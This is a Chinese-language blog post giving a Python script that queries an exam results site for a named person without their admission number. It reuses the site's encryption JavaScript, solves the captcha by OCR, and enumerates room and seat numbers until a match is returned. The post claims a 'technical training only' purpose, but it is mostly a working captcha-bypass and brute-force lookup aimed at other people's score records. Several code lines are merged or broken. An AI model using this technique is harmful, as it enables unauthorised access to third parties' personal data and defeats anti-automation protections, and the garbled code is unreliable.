Python3實現自動查詢成績（主要使用的包有Tesseract-OCR、PIL、execjs、pytesseract、BeautifulSoup）

 

前提：本文僅作為技術訓練，不可利用技術做非法的事。

---

 

某考試的成績查詢頁面如下：查詢成績需要的數據有准考證號或者身份證、考生姓名、驗證碼。現在使用python來實現自動查詢指定人員的考試成績（不知道准考證號的前提下）。主要使用的包有Tesseract-OCR、PIL、execjs、pytesseract、BeautifulSoup

查詢頁面：

 

入圍名單：

 包的功能介紹：

• execjs：由於查詢成績參數加密后發送給服務器，這里使用調用原網站的加密函數加密查詢字符串。
• BeautifulSoup：建立爬取的網頁的文檔樹。
• PIL：中的Image函數讀取下載下來的驗證碼圖片，實例化后傳給Tesseract-OCR識別。
• Tesseract-OCR：讀取圖片驗證碼，識別圖片中的數字（主要其中有圖片的訓練集）。
• pytesseract：tesseract_cmd來初始化Tesseract-OCR，然后使用image_to_data()方法識別圖片中的數字，該方法接受Image實例化后的圖片對象為參數。

---

 

第一步：安裝環境

 主要介紹Tesseract-OCR安裝，其他包可通過pip+包名自行安裝。

安裝完成后將Tesseract-OCR添加進path環境變量；然后新建環境變量TESSDATA_PREFIX：安裝目錄\Tesseract-OCR\tessdata。然后重啟計算機。

cmd輸入tesseract顯示如下則安裝成功：

---

 

第二步：登陸網站收集信息

 使用正確的賬號信息登陸，收集header、cookies及其他信息（例如本次登陸就使用到加密的js）。

• 加密js信息：（根據發送的查詢字符串是否需要加密來決定是否添加）

JSCode = r'''
/*
*(1).加密:
*  第一步:strEncode(data,firstKey,secondKey,thirdKey);
*(2).解密:
*  第一步:strDecode(data,firstKey,secondKey,thirdKey);
*/
/*
* encrypt the string to string made up of hex
* return the encrypted string
*/

中間內容略

/*end*/

'''

• header相關信息

header = {
        'Accept': 'image/webp,image/apng,image/*,*/*;q=0.8',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'keep-alive',
        'Cookie': 'JSESSIONID=E9A7EF615C2A7FC0D99711C8697D158B',
        'Host': '***.***.***.***',
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'
    }

•  在python中可以使用如下方式調用js中的代碼：

#裝載
CTX = execjs.compile(JSCode)

#調用
CTX.call('函數名', '實參')

---

第三步：模擬登陸（考號+姓名+驗證碼）

為了將准考證號中隱藏的數字找出來，我們需要不斷遍歷。直到考號跟姓名對應。

這里的驗證碼在訪問成績頁面時就產生了，所以需要所以使用requests.get(url1, headers=header)來將驗證碼下載到本地，然后識別出來，接着在模擬查詢按鈕動作 requests.get(url2, headers=header)

，將所有信息塞入查詢字符串進行查詢，由於是遍歷查詢，一旦循環產生的考號與已知的姓名匹配，就會返回結果，查詢結束。

• 模擬登陸，並返回查詢結果req2.text：

def get_content(number='201902300365', name='張三'):#填入一個正確的默認信息
    number = CTX.call('strEncode', number) #調用js加密數字，以下類同
    name = CTX.call('strEncode', name)
    url1 = 'http://***.***.***.***/2019****/register/image.jsp'
    header = null #略
    while True:
        try:
            req1 = requests.get(url1, headers=header)
            img = req1.content
            with open('./yanzhengma.png', 'wb') as f:
                f.write(img)
            im = Image.open(r'D:\PycharmProjects\untitled1\yanzhengma.png')
            pytesseract.pytesseract.tesseract_cmd = r'C:\Program Files (x86)\Tesseract-OCR\tesseract.exe'
            num = pytesseract.image_to_data(im) #識別驗證碼中的數字
            input_yznumber = num[-4:] #將結果的最后四位數字取出，即驗證碼

            yznumber = CTX.call('strEncode', input_yznumber)
            url2 = 'http://***.***.***.***/2019****/printInfo.do?activity=cjddy&number=' + number + '&name=' + name + '&yznumber=' + yznumber
            req2 = requests.get(url2, headers=header)
            req2.encoding = 'utf-8'
            break
        except socket.timeout as e:
            print('3:', e)
            time.sleep(random.choice(range(8, 15)))
        except socket.error as e:
            print('4:', e)
            time.sleep(random.choice(range(20, 60)))
        except http.client.BadStatusLine as e:
            print('5:', e)
            time.sleep(random.choice(range(30, 80)))
        except http.client.IncompleteRead as e:
            print('6:', e)
            time.sleep(random.choice(range(5, 15)))
    return req2.text

• 使用BeautifulSoup遍歷文檔樹：

 遍歷文檔樹后查詢指定dom（本例是div）下的內容：

def get_data(xml_data):
    bs = BeautifulSoup(xml_data, "html.parser")
    scores = bs.find_all('div', string=re.compile('2019')) #考號的前幾位
    return scores

• 啟動程序，遍歷查詢

if __name__ == "__main__":
    for kc in range(3000, 4601): #考場號 范圍可從0-9999 根據考號規則改變 for zwh in range(0, 1000): #最大座位號是999 if len(str(zwh)) == 1:
                number = '20190'+str(kc)+'00'+str(zwh)
            elif len(str(zwh)) == 2:
                number = '20190'+str(kc) + '0'+str(zwh)
            else:
                number = '20190'+str(kc) + str(zwh)
            print("number = ", number)
            zhunkaohao = get_data(get_content(number='20191' + str(zwh)+'173', name='焦作'))
            if zwh % 50 == 0:
                t_zhunkaohao=get_data(get_content(number='201902300365', name='張三')) #每50次返回一個正確結果，來確保查詢正確性
                print("***************"+str(t_zuoweihao))
            if zhunkaohao != []:
                print(zhunkaohao)
                break #查詢成功 跳出循環

 

由於涉密，這里就不附上源碼了。

需要引入以下包：

# coding: utf-8
import socket
from bs4 import BeautifulSoup
import requests, random, time, http
import execjs
import re
import pytesseract
from PIL import Image

 

參考：

基於tesseract-OCR進行中文識別

加密js